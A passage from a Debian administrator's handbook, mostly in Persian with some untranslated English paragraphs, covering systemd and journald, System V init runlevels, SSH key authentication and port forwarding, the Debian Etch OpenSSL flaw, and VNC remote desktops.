شروع یک سرویس به صورت دستی به سادگی اجرای دستور systemctl start servicename.service است. همانطور که حدس زدید، توقف سرویس با استفاده از systemctl stop servicename.service صورت می‌گیرد؛ سایر دستورات زیر-مجموعه عبارتند از reload و restart.

به منظور اطلاع از فعال‌بودن یک سرویس (خواه در زمان راه‌اندازی سیستم اجرا شده باشد یا خیر) از دستور systemctl enable servicename.service استفاده کنید (یا disable). is-enabled برای بررسی وضعیت سرویس بکار می‌رود.

An interesting feature of systemd is that it includes a logging component named journald. It comes as a complement to more traditional logging systems such as syslogd, but it adds interesting features such as a formal link between a service and the messages it generates, and the ability to capture error messages generated by its initialization sequence. The messages can be displayed later on, with a little help from the journalctl command. Without any arguments, it simply spews all log messages that occurred since system boot; it will rarely be used in such a manner. Most of the time, it will be used with a service identifier:

# journalctl -u ssh.service -- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST. -- Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22. Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22. Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting. Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22. Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22. Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129 port 53394 ssh2 Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user roland by (uid=0)

گزینه جالب دیگر در خط-فرمان -f است که به journalctl می‌گوید به نمایش پیام‌های جدید اضافه‌شده به انتهای فایل بپردازد (مانند عملکردی که tail -f file دارد).

اگر سرویس عملکرد مورد نظر را نداشته باشد، اولین مرحله عیب‌یابی این است که بدانیم آیا سرویس اجرا شده است یا خیر با استفاده از دستور systemctl status؛ اگر اجرا نشده بود و پیام‌های دستور اول به عیب‌یابی مشکل کمکی نکرد، به بررسی گزارش‌های تهیه شده توسط journald مرتبط با آن سرویس بپردازید. برای نمونه، تصور کنید که سرویس SSH کار نمی‌کند:

# systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS) Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255) Main PID: 1188 (code=exited, status=255) Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start. Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server. Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. # journalctl -u ssh.service -- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST. -- Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22. Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22. Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting. Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22. Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22. Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129 port 38742 ssh2 Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user roland by (uid=0) Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start. Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server. Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. # vi /etc/ssh/sshd_config # systemctl start ssh.service # systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS) Main PID: 1222 (sshd) CGroup: /system.slice/ssh.service └─1222 /usr/sbin/sshd -D #

پس از بررسی وضعیت سرویس (failed)، به بررسی فایل‌های گزارش پرداختیم؛ آن‌ها نشان دادند که یک خطا در فایل پیکربندی وجود دارد. پس از ویرایش فایل پیکربندی و اصلاح خطا، سرویس را راه‌اندازی مجدد کردیم و دیدیم که به درستی کار می‌کند.

مطالعه بیشتر سایر انواع فایل‌های واحد

در این قسمت به ساده‌ترین قابلیت‌های systemd اشاره کردیم. اما ویژگی‌های جالب دیگری را نیز ارائه می‌دهد که در اینجا فقط برخی از آن‌ها را نام می‌بریم:

فعال‌سازی سوکت: یک فایل واحد “سوکت” می‌تواند به منظور شرح یک شبکه یا سوکت یونیکس که توسط systemd مدیریت می‌شود بکار رود؛ این بدان معناست که سوکت توسط systemd ایجاد می‌شود و سرویس حقیقی تنها زمانی که درخواستی برای آن مطرح گردد آغاز می‌شود. این عملکرد نزدیک به inetd است. systemd.socket(5) را مشاهده کنید.

زمانسنج‌ها: یک فایل واحد “زمانسنج” وقایعی را شرح می‌دهد که در یک بازه زمانی ثابت یا زمان‌های مشخص تکرار می‌شوند؛ زمانی که یک سرویس به چنین زمانسنجی متصل گردد، فعالیت مرتبط با آن هنگام واکنش زمانسنج آغاز می‌گردد. این عملکرد نزدیک به cron است. systemd.timer(5) را مشاهده کنید.

شبکه: یک فایل واحد “شبکه“ به توضیح یک رابط شبکه می‌پردازد که امکان پیکربندی چنین رابطی را فراهم آورده و همچنین بیان می‌کند کدام سرویس وابسته به این رابط خواهد بود.

9.1.2. سیستم راه‌انداز System V

سیستم راه‌انداز System V (که به اختصار init می‌نامیم) چندین فرآیند را اجرا می‌کند، که دستورالعمل‌های آن در فایل /etc/inittab آمده است. اولین برنامه‌ای که اجرا می‌شود (که معادل با گام sysinit است) برابر با /etc/init.d/rcS است، اسکریپتی که سایر برنامه‌های موجود در دایرکتوری /etc/rcS.d/ را اجرا می‌کند.

در میان آن‌ها، برنامه‌های پی‌در‌پی مرتبطی پیدا خواهید کرد:

پیکربندی صفحه‌کلید کنسول؛

بارگیری درایورها: اکثر ماژول‌های کرنل توسط خودش هنگام شناسایی سخت‌افزار بارگیری می‌شوند؛ درایورهای اضافی به صورت خودکار زمانی که ماژول مربوطه در فایل /etc/modules قرار گیرد بارگیری می‌شوند.

بررسی جامعیت فایل‌سیستم‌ها؛

متصل‌کردن پارتیشن‌های محلی؛

پیکربندی شبکه؛

متصل‌کردن فایل‌سیستم‌های شبکه یا NFS.

بازگشت به مقدمات ماژول‌های کرنل و گزینه‌های آن‌ها

ماژول‌های کرنل دارای گزینه‌هایی هستند که می‌توانند با قرار گرفتن در مسیر /etc/modprobe.d/ پیکربندی شوند. این گزینه‌ها با دستوراتی این چنین تعریف می‌شوند: options module-name option-name=option-value. چندین گزینه در صورت لزوم می‌توانند تنها با یک دستور تعریف شوند.

این فایل‌های پیکربندی برای modprobe در نظر گرفته شده‌اند - برنامه‌ای که یک ماژول کرنل به همراه وابستگی‌هایش را بارگیری می‌کند (ماژول‌ها می‌توانند یکدیگر را فراخوانی کنند). این برنامه توسط بسته kmod ارائه می‌شود.

پس از این گام، init وارد می‌شود و برنامه‌های فعال‌شده در runlevel پیش‌فرض (که معمولا شماره ۲ است) را آغاز می‌کند. به اجرای /etc/init.d/rc 2 می‌پردازد، اسکریپتی که تمام سرویس‌های موجود در /etc/rc2.d/ که با حرف “S” شروع می‌شوند را آغاز می‌کند. عدد دو رقمی که بعد از نام هر سرویس قرار دارد ترتیب اجرای آن‌ها را مشخص می‌کند، اما امروزه سیستم راه‌انداز پیش‌فرض از insserv به این منظور استفاده می‌کند، که تمام مراحل را با توجه به وابستگی‌های بین اسکریپت‌ها زمان‌بندی می‌کند. هر اسکریپت راه‌انداز شرایط مربوط به خود جهت اَغاز یا پایان سرویس را توصیف می‌کند (برای نمونه، اگر باید قبل یا بعد از یک سرویس دیگر آغاز گردد)؛ init سپس به اجرای آن‌ها با توجه به شرایط موجود می‌پردازد. بنابراین شماره‌گذاری ایستا که در اسکریپت‌ها استفاده می‌شد دیگر به حساب نمی‌آید (اما آن‌ها باید نامی که با “S” شروع می‌شود به همراه عدد دو رقمی و نام حقیقی سرویس را به همراه داشته باشند). در حالت کلی، سرویس‌های پایه (مانند گزارش‌گیری با rsyslog یا تخصیص پورت با portmap) در ابتدا آعاز می‌گردند به همراه سرویس‌های استاندارد و رابط گرافیکی (gdm3).

این سیستم راه‌انداز مبتنی بر وابستگی‌ها امکان شماره‌گذاری مجدد را فراهم می‌کند، کاری که در حالت دستی دشواری‌های فراوانی دارد و امکان خطای انسانی را کاهش می‌دهد چرا که زمان‌بندی مختص به پارامترهای مشخص شده می‌باشد. مزیت دیگر آن این است که سرویس‌ها می‌توانند به صورت موازی آغاز شوند زمانی که به یکدیگر وابسته نیستند، که این امر به فرآیند راه‌اندازی سرعت می‌بخشد.

... قابلیت شناسایی چندین runlevel را دارد، پس می‌تواند بین آن‌ها با استفاده از دستور telinit new-level جابجا شود. بلافاصله، init به اجرای /etc/init.d/rc با runlevel جدید می‌پردازد. این اسکریپت به اجرای سرویس‌های مفقود و توقف آن‌هایی که دیگر مورد نیاز نیستند می‌پردازد. به این منظور، به محتوای موجود در مسیر /etc/rcX.d ارجاع می‌کند (که X نشان‌دهنده runlevel جدید است). اسکریپت‌هایی که با “S” شروع می‌شوند (به معنای “Start”) سرویس‌هایی هستند که باید آغاز گردند؛ آن‌هایی که با “K” شروع می‌شوند (به معنای “Kill”) سرویس‌هایی هستند که باید متوقف گردند. اسکریپت به اجرای سرویس فعال در runlevel قبلی نمی‌پردازد.

به صورت پیش‌فرض، سیستم راه‌انداز System V در دبیان از چهار runlevel متفاوت استفاده می‌کند:

سطح ۰ هنگام خاموش شدن رایانه به صورت موقتی استفاده می‌شود. به همین دلیل شامل بسیاری اسکریپت‌های “K” است.

سطح ۱، که به نام حالت تک-کاربره نیز شناخته می‌شود، مطابق با سیستم در حالت عیب‌یابی است؛ تنها شامل سرویس‌های پایه است و مناسب عملیات عیب‌یابی است که تعامل با کاربران در آن مد نظر نباشد.

سطح ۲ برای عملکرد نرمال استفاده می‌شود که شامل سرویس‌های شبکه، رابط گرافیکی، ورود کاربر و از این قبیل است.

سطح ۶ که به سطح ۰ مشابه است تنها با این تفاوت که برای حالت راه‌اندازی مجدد رایانه استفاده می‌گردد.

سطح‌های دیگری نیز وجود دارند، به خصوص ۳ تا ۵. به صورت پیش‌فرض آن‌ها مانند سطح ۲ عمل می‌کنند، اما مدیرسیستم می‌تواند آن‌ها را تغییر دهد (با افزودن یا حذف اسکریپت‌هایی در دایرکتوری /etc/rcX.d) تا آن‌ها را برای نیازهای خاص سازگار سازد.

شكل 9.2. ترتیب اجرای عملیات راه‌اندازی در لینوکس به همراه System V

تمام اسکریپت‌های موجود در دایرکتوری‌های /etc/rcX.d تنها پیوندهای نمادین هستند - که توسط برنامه update-rc.d هنگام نصب یک بسته ایجاد می‌گردند - که به اسکریپت‌های اصلی ذخیره‌شده در /etc/init.d/ اشاره می‌کنند. مدیرسیستم می‌تواند به بهینه‌سازی سرویس‌های موجود در هر runlevel با اجرای دستور update-rc.d به همراه پارامترهای لازم بپردازد. صفحه راهنمای update-rc.d(1) به تشریح شیوه استفاده از آن پرداخته است. به یاد داشته باشید که حذف پیوندهای نمادین (با پارامتر remove) روش خوبی برای غیرفعال‌کردن یک سرویس نیست. در عوض باید طوری پیکربندی کنید که در runlevel مورد نظر اجرا نشود (به صورتی که فراخوانی‌های مربوطه به آن از runlevel قبلی متوقف گردند). از آنجا که update-rc.d خود دارای رابط جداگانه‌ای است ممکن است بخواهید از rcconf استفاده کنید (از بسته rcconf) که رابط کاربری بهتری فراهم کرده است.

خط‌مشی دبیان راه‌اندازی‌مجدد سرویس‌ها

اسکریپت‌های پیکربندی برای بسته‌های دبیان بعضی وقت‌ها اقدام به راه‌اندازی‌مجدد سرویس‌ها به منظور در دسترس بودن آن‌ها ای افزودن برخی گزینه‌های خاص به آن‌ها می‌کنند. دستوری که سرویس را کنترل می‌کند - service service operation - runlevel را به حساب نمی‌آورد، تصور می‌کند (به صورت اشتباه) که سرویس هم اکنون استفاده شده است و از این رو عملیات اشتباهی را رقم می‌زند (آغاز سرویسی که به عمد متوقف شده بود، یا پایان سرویسی که هم اکنون متوقف است). به این منظور دبیان برنامه invoke-rc.d را معرفی کرد: این برنامه باید توسط اسکریپت‌های پیکربندی به منظور اجرای سرویس‌های اسکریپت‌های راه‌انداز و اجرای دستورات لازم استفاده گردد. نکته اینکه، بر خلاف استفاده متداول آن، پسوند .d در اینجا در نام یک برنامه بکار رفته است و نه یک دایرکتوری.

در نهایت، init به اجرای برنامه‌های کنترلی مرتبط با کنسول‌های مجازی (getty) می‌پردازد. یک صفحه خالی که نام‌کاربری را درخواست می‌کند نمایش می‌یابد، سپس برای برپایی یک نشست به اجرای login user می‌پردازد.

واژگان کنسول و ترمینال

اولین رایانه‌ها به قسمت‌های بسیار بزرگی تقسیم شده بودند: فضای ذخیره‌سازی و واحد پردازش مرکری از دستگا‌ه‌های جانبی که توسط اپراتورها استفاده می‌شدند جدا بودند. این‌ها قسمتی از یک چیدمان جداگانه بودند یعنی “کنسول”. این عبارت اکنون حفظ شده ولی معنای آن تغییر یافته است. بیشتر با “ترمینال” مترادف است که به معنای صفحه‌کلید و نمایشگر است.

با توسعه رایانه‌ها، سیستم‌عامل‌ها امکان استفاده از چندین کنسول مجازی که توسط چندین نشست جداگانه اجرا می‌شوند را فراهم آوردند، حتی اگر یک صفحه‌کلید و نمایشگر وجود داشته باشد. اکثر سیستم‌های گنو/لینوکس دارای شش کنسول مجازی هستند (در حالت متنی) که از طریق کلید‌های Control+Alt+F1 تا Control+Alt+F6 قابل دسترس می‌باشند.

عبارت‌های “کنسول” و “ترمینال” می‌توانند به یک شبیه‌ساز ترمینال در محیط گرافی X11 اشاره کنند (مانند xterm، gnome-terminal یا konsole).

9.2. دسترسی از راه‌دور

اتصال به یک رایانه از راه‌دور برای مدیرسیستم یک امر ضروری است. سرورها، که در اتاق‌های جداگانه‌ای بدون صفحه‌کلید و نمایشگر قرار می‌گیرند - به شبکه متصل هستند.

بازگشت به مقدمات معماری کلاینت، سرور

سیستمی که در آن چندین فرآیند با یکدیگر در حال برقراری ارتباط هستند استعاره از “client/server” دارد. سرور برنامه‌ای است که به درخواست‌های دریافتی از کلایت پاسخ می‌دهد. این کلاینت است که عملیات را کنترل می‌کند، سرور هیچ عملیاتی را خود آعاز نمی‌کند.

9.2.1. ورود امن از راه‌دور: SSH

پروتکل SSH یا Secure SHell با توجه به اصول امنیتی و قابلیت اطمینان طراجی شده است. ارتباطاتی که از SSH استفاده می‌کنند امن هستند: طرف مقابل احراز هویت شده و تمام اطلاعات به صورت رمزگذاری شده ارسال می‌شوند.

فرهنگ منسوخ شدن استفاده Telnet و RSH

قبل از SSH، Telnet و RSH دو ابزار اصلی برای ارتباط راه‌دور بودند. اکنون این ابزارها منسوخ شده و با وجود فراهم بودن در دبیان نباید به این منظور استفاده گردند.

واژگان احراز هویت، رمزنگاری

زمانی که می‌خواهید از طریق یک کلاینت قابلیت اجرای برخی دستورات در سرور را داشته باشید، امنیت به میان می‌آید. باید هویت کلاینت را مشخص کنید؛ این کار احراز هویت نام دارد. این شناسایی معمولا شامل یک گذرواژه می‌باشد که باید به صورت خصوصی نگهداری شود، در غیر اینصورت هر کلاینت می‌تواند به آن وصل شود. این همان هدف رمزنگاری است، که شیوه‌ای به صورت رمزگذاری برای سیستم‌ها است تا بتوانند اطلاعات بین خود را از طریق یک کانال عمومی ناامن رد و بدل کنند.

احرازهویت و رمزنگاری معمولا با یکدیگر بکار می‌روند، از آنجا که کاربرد مشابهی دارند و از آنجا که از مفاهیم مشترک ریاضی استفاده می‌کنند.

SSH همچنین تو سرویس انتقال فایل را ارائه می‌دهد. scp یک ابزار خط فرمان است که عملکردی مشابه cp دارد، به جز مسیرهای خارج از یک رایانه که باید ابتدا نام رایانه به همراه دو نقطه آورده شود.

$ scp file machine:/tmp/

sftp یک دستور تعاملی مشابه ftp است. در یک نشست واحد، sftp می‌تواند چندین فایل را منتقل کند و امکان ایجاد تغییرات در فایل‌های راه‌دور نیز وجود دارد (حذف، تغییر نام، تغییر مجوزها و از این قبیل).

دبیان از OpenSSH، یک نسخه آزاد از SSH که توسط پروژه OpenBSD مدیریت می‌شود (یک سیستم عامل آزاد مبتنی بر کرنل BSD با تمرکز بر امنیت) و انشعاب نسخه اصلی نرم‌افزار SSH که توسط شرکت SSH Communications Security Corp در فنلاند اداره می‌شد، استفاده می‌کند. این شرکت در ابتدا SSH را به عنوان نرم‌افزار آزاد منتشر کرد، اما در ادامه مسیر تصمیم گرفت تا توسعه آن را تحت یک مجوز انحصاری انجام دهد. پروژه OpenBSD با ایجاد OpenSSH تصمیم گرفت یا یک نسخه آزاد از آن ارائه دهد.

بازگشت به مقدمات Fork

یک “انشعاب”، در حوزه نرم‌افزار، به معنای پروژه جدیدی بر اساس پروژه فعلی است که با آن رقابت می‌کند. از آن زمان به بعد، هر دو نرم‌افزار رویکردهای متفاوتی در نسخه‌های جدید دارند. یک انشعاب معمولا ناشی از عدم تفاقق بین اعضای یک تیم توسعه نرم‌افزار است.

گزینه انشعاب برای یک پروژه از طبیعت نرم‌افزار آزاد نشات می‌گیرد؛ یک انشعاب رویدادی حیات بخش برای ادامه توسعه نرم‌افزار با فلسفه آزاد است (برای نمونه در مورد تغییر مجوز). انشعابی که از مسائل فنی یا شخصی نشات می‌گیرد معمولا به اتلاف منابع انسانی می‌انجامد؛ در این رابطه رویکرد دیگری ترجیح داده می‌شود. افرادی که دو پروژه متفاوت را که سابق بر این تحت یک عنوان فعالیت می‌کرد، راهبری می‌کنند با سابقه آن آشنا هستند.

OpenSSH به دو بسته تقسیم شده است: بخش مربوط به کلاینت در بسته openssh-client و بخش مربوط به سرور در بسته openssh-server قرار دارد. بسته ssh به هر دو آن‌ها وابسته بوده و عملیات نصب آن‌ها را انجام می‌دهد (apt install ssh).

9.2.1.1. احرازهویت کلید-محور

با هر بار ورود از طریق SSH، سرور راه‌دور درخواست یک گذرواژه برای احزارهویت کاربر می‌کند. این می‌تواند در صورت خودکارسازی ارتباط یا استفاده از ابزاری که نیاز به ارتباط مداوم با سرور دارد، مشکل‌ساز گردد. به همین دلیل است که SSH سیستم احرازهویت کلید-محور را فراهم کرده است.

کاربر در رایانه خود اقدام به ایجاد یک جفت کلید با استفاده از دستور ssh-keygen -t rsa می‌کند؛ کلید عمومی در فایل ~/.ssh/id_rsa.pub و کلید خصوصی در فایل ~/.ssh/id_rsa ذخیره می‌شوند. کاربر با اجرای دستور ssh-copy-id server کلید عمومی خود را به انتهای فایل ~/.ssh/authorized_keys موجود در سرور اضافه می‌کند. اگر کلید خصوصی در زمان تولید خود با استفاده از “گذزواژه” محافظت نشده باشد، تمام ورودهای جداگانه به سرور بدون درخواست گذرواژه کار خواهند کرد. در غیر اینصورت، کلید خصوصی در هر مرتبه ورود به سرور نیاز به رمزگشایی با استفاده از گذرواژه مربوطه دارد. خوشبختانه، ssh-agent امکان نگهداری کلید خصوصی در حافظه را به منظور دسترسی آسان‌تر فراهم می‌کند. به این منظور، کافی است ssh-add را (برای هر نشست جداگانه) با یک نسخه کامل ssh-agent بکار می‌برید. دبیان این کار را در نشست‌های گرافیکی به صورت خودکار انجام می‌دهد اما می‌توانید با تغییر در /etc/X11/Xsession.options آن را غیرفعال کنید. برای یک نشست کنسول، می‌توانید آن را به صورت دستی و با eval $(ssh-agent) آغاز کنید.

امنیت محافظت از کلید خصوصی

هر کسی که به کلید خصوصی دسترسی داشته باشد با حساب کاربری مربوط به آن می‌تواند وارد شود. به همین دلیل است که دسترسی به کلید خصوصی از طریق یک “گذزواژه” محافظت می‌شود. کسی که یک رونوشت از کلید خصوصی می‌گیرد (برای نمونه، ~/.ssh/id_rsa) هنوز باید به گذرواژه مخصوص آن دسترسی داشته باشد. این لایه حفاظتی اضافی نیز، اگرچه، رسوخ‌ناپذیر نیست و اگر فکر می‌کنید که کلید خصوصی شما آشکار شده است بهتر است تا مجوز دسترسی به آن روی رایانه‌های سرور را از بین ببرید (با حفظ کردن آن از فایل authorized_keys) و آن را با یک کلید جدید جایگزین کنید.

فرهنگ نقص OpenSSL در دبیان Etch

The OpenSSL library, as initially provided in Debian Etch, had a serious problem in its random number generator (RNG). Indeed, the Debian maintainer had made a change so that applications using it would no longer generate warnings when analyzed by memory testing tools like valgrind. Unfortunately, this change also meant that the RNG was employing only one source of entropy corresponding to the process number (PID) whose 32,000 possible values do not offer enough randomness.

→ https://www.debian.org/security/2008/dsa-1571

به خصوص، زمانی که OpenSSL برای تولید یک کلید استفاده می‌شد، همیشه کلیدی بین محدوده مشخصی از آن‌ها تولید می‌کرد (۳۲،۰۰۰ ضرب در تعداد کمی از طول کلید‌ها). این عملکرد روی کلیدهای SSH، کلیدهای SSL و گواهینامه‌های X.509 که توسط بسیاری برنامه‌ها مانند OpenVPN استفاده می‌شدند، تاثیر گذاشت. یک نفوذگر تنها می‌بایست تمام کلید‌های موجود در آن بازه را جهت دسترسی به سیستم پیدا کند. برای کاهش تاثیر این مشکل، فرآیند پس‌زمینه SSH طوری تغییر یافت تا کلیدهای دردسرساز فهرست شده در بسته‌های openssh-blacklist و openssh-blacklist-extra را رد کند. علاوه بر این، دستور ssh-vulnkey امکان شناسایی کلیدهای آشکارشده در سیستم را فراهم می‌کرد.

تحلیل بیشتر روی این موضوع نشان داد که مشکلات کوچک بیشتری در پروژه OpenSSL و نگهدارنده بسته دبیان آن وجود داشت. کتابخانه بزرگی مانند OpenSSL - بدون تغییر - نباید پس از آزمون با valgrind پیام‌های اخطار صادر کند. علاوه بر این، کد (به خصوص قسمت حساسی مانند RNG) باید با توضیحات بهتری از بروز چنین خطایی پیشگیری کند. در طرف دبیان، نگهدارنده بسته قصد داشت تا تغییرات مورد نظر خود را با توسعه‌دهندگان اصلی OpenSSL سازگار سازد، اما بدون ارايه فایل وصله مناسب و در جریان گذاشتن تیم اصلی از تغییرات انجام گرفته خارج از مسئولیت‌های پروژه دبیان اقدام کرد. در نهایت، راه‌حل‌های پیشنهادی خیلی بهینه نبودند: تغییرات ایجاد شده در کد اصلی به خوبی مستند نشده بود؛ تمام تغییرات در یک مخزن Subversion ذخیره شده بودند اما هنگام ایجاد بسته اصلی تنها به تولید یک فایل وصله انجامید.

It is difficult under such conditions to find the corrective measures to prevent such incidents from recurring. The lesson to be learned here is that every divergence Debian introduces to upstream software must be justified, documented, submitted to the upstream project when possible, and widely publicized. It is from this perspective that the new source package format (“3.0 (quilt)”) and the Debian sources webservice were developed.

→ https://sources.debian.org

9.2.1.2. استفاده راه‌دور از برنامه‌های X11

پروتکل SSH امکان فوروارد کردن داده‌های گرافیکی را می‌دهد (نشست “X11”، که از نام متداول‌ترین سیستم گرافیکی یونیکس گرفته شده است)؛ سرور یک کانال اختصاصی برای آن در نظر می‌گیرد. به خصوص، یک برنامه گرافیکی که از راه‌دور اجرا می‌شود می‌تواند روی سرور X.org سیستم محلی نمایش یابد و تمام نشست جاری (ورودی و نمایش) امن خواهد بود. از آنجا که این سیستم اجازه تداخل برنامه‌های راه‌دور با سیستم محلی را می‌دهد، به صورت پیش‌فرض غیرفعال است. می‌توانید با مشخص کردن X11Forwarding yes در فایل پیکربندی سرور (/etc/ssh/sshd_config) آن را فعال کنید. در نهایت، کاربر نیز هنگام درخواست ssh باید گزینه -X را بیان کند.

9.2.1.3. ایجاد تونل‌های رمزگذاری شده با پورت فورواردینگ

گزینه‌های -R و -L به ssh امکان ایجاد “تونل‌های رمزگذاری‌شده” بین دو رایانه را می‌دهند، که به تبع آن یک پورت TCP محلی (قسمت بازگشت به مقدمات TCP/UDP را مشاهده کنید) به شیوه‌ای امن می‌تواند به یک ماشین راه‌دور فوروارد شود یا بر عکس.

واژگان تونل

اینترنت، و اکثر شبکه‌های محلی متصل به آن، در حالت بسته‌ای کار می‌کنند نه متصل، به این معنی که بسته ارسال شده از یک رایانه در مسیر خود چندین رایانه دیگر (مسیریاب) را طی می‌کند تا در نهایت به مقصد برسد. می‌توانید عملیات اتصال را طوری شبیه‌سازی کنید که در آن جریان داده در بسته‌های نرمال IP ذخیره شده باشد. این بسته‌ها از مسیرهای خود طبعیت می‌کنند، اما جریان داده در انتهای مسیر بدون تغییر باقی می‌ماند. ما به این فرآیند یک “تونل” می‌گوییم، مشابه با یک تونل در دنیای واقعی که در آن خودروها از سمت ورودی (input) به خروجی (output) حرکت می‌کنند بدون اینکه مسیرشان تغییر کند، بر خلاف یک مسیر معمولی که ممکن است شامل تقاطع‌های متفاوت باشد.

از این موقعیت برای افزودن رمزنگاری به تونل می‌توانید استفاده کنید: با اینکار جریان داده‌ای که از تونل می‌گذرد غیر قابل تشخیص از خارج آن است اما در انتهای تونل به شیوه رمزگشایی شده قرار می‌گیرد.

دستور ssh -L 8000:server:25 intermediary یک نشست SSH با میزان intermediary برقرار کرده و به پورت محلی ۸۰۰۰ گوش می‌دهد ( شكل 9.3, “فوروارد کردن یک پورت محلی با SSH” را مشاهده کنید). برای هر ارتباطی که روی این پورت برقرار شود، ssh یک ارتباط میانی از رایانه intermediary با پورت ۲۵ روی server برقرار کرده و هر دو ارتباط را به یکدیگر متصل می‌کند.

دستور ssh -R 8000:server:25 intermediary نیز یک نشست SSH با رایانه intermediary برقرار می‌کند، اما روی این رایانه است که ssh به پورت ۸۰۰۰ ( شكل 9.4, “فوروارد کردن یک پورت راه‌دور با SSH” را مشاهده کنید) گوش می‌دهد. هر ارتباطی که روی این پورت برقرار شود ssh یک ارتباط با پورت ۲۵ server برقرار کرده و هر دو ارتباط را به یکدیگر متصل می‌کند.

در هر دو مورد، ارتباطات با پورت ۲۵ میزان server برقرار شد، که جریان داده آن از طریق تونل SSH بین سیستم محلی و سیستم intermediary می‌گذرد. در مورد اول، ورودی تونل پورت ۸۰۰۰ محلی است و داده قبل از اینکه به server در شبکه “عمومی” برسد از طریق رایانه intermediary می‌گذرد. در مورد دوم، ورودی و خروجی تونل برعکس شده است؛ ورودی پورت ۸۰۰۰ از رایانه intermediary است و خروجی روی سیستم محلی قرار دارد و جریان داده به این شکل به server هدایت می‌شود. در عمل، سرور همان سیستم محلی یا میانی است. به این شیوه SSH می‌تواند ارتباط امنی بین هر دو رایانه برقرار کند.

شكل 9.3. فوروارد کردن یک پورت محلی با SSH

شكل 9.4. فوروارد کردن یک پورت راه‌دور با SSH

9.2.2. استفاده از میزکارهای گرافیکی راه‌دور

VNC یا Virtual Network Computing اجازه دسترسی راه‌دور به میزکارهای گرافیکی را می‌دهد.

این ابزار بیشتر برای راهنمایی فنی استفاده می‌شود؛ مدیرسیستم می‌تواند خطاهایی را ببیند که کاربر با آن مواجه است و به آن‌ها شیوه حل مساله را آموزش دهد.

First, the user must authorize sharing their session. The GNOME graphical desktop environment from Jessie onward includes that option in its configuration panel (contrary to previous versions of Debian, where the user had to install and run vino). KDE Plasma still requires using krfb to allow sharing an existing session over VNC. For other graphical desktop environments, the x11vnc command (from the Debian package of the same name) serves the same purpose; you can make it available to the user with an explicit icon.

When the graphical session is made available by VNC, the administrator must connect to it with a VNC client. GNOME has vinagre and remmina for that, while the KDE project provides krdc (in the menu at K → Internet → Remote Desktop Client). There are other VNC clients that use the command line, such as xvnc4viewer in the Debian package of the same name. Once connected, the administrator can see what is going on, work on the machine remotely, and show the user how to proceed.

امنیت VNC همراه با SSH

اگر قصد استفاده از VNC در حالت امن و رمزنگاری شده را دارید، امکان ذخیره‌سازی داده در یک تونل SSH وجود دارد ( قسمت 9.2.1.3, “ایجاد تونل‌های رمزگذاری شده با پورت فورواردینگ” را مشاهده کنید). تنها کافی است بدانید که VNC به صورت پیش‌فرض از پورت ۵۹۰۰ برای نمایشگر اول (که “localhost:0” خوانده می‌شود)، ۵۹۰۱ برای نمایشگر دوم (که “localhost:1” خوانده می‌شود) و به همین ترتیب استفاده می‌کند.

